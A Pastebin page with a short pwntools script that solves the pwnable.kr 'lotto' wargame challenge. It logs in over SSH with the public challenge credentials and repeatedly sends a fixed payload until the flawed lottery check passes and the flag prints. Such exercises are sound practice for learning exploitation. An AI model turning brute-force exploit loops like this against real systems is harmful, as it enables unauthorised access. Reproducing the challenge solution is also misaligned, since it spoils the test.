Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- import time
- #context.log_level = 'debug'
- sh = ssh(host = 'pwnable.kr', port = 2222, user = 'lotto', password = 'guest')
- #s = sh.download_file('lotto')
- elf = ELF('./lotto')
- s = sh.process('./lotto')
- #s = process('./lotto')
- cnt = 1
- while True:
- s.recv(4096)
- s.sendline('2')
- #log.info(s.recv(4096))
- s.sendline('1')
- s.recv(4096)
- payload = ''
- payload += '!#$%^&'
- s.sendline(payload)
- s.recvuntil('\n')
- res = s.recvuntil('\n')[:-1]
- log.info('try(%d) times : <%s>' %(cnt, res))
- cnt += 1
- if res != 'bad luck...':
- log.success(s.recvline())
- break
- time.sleep(0.1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement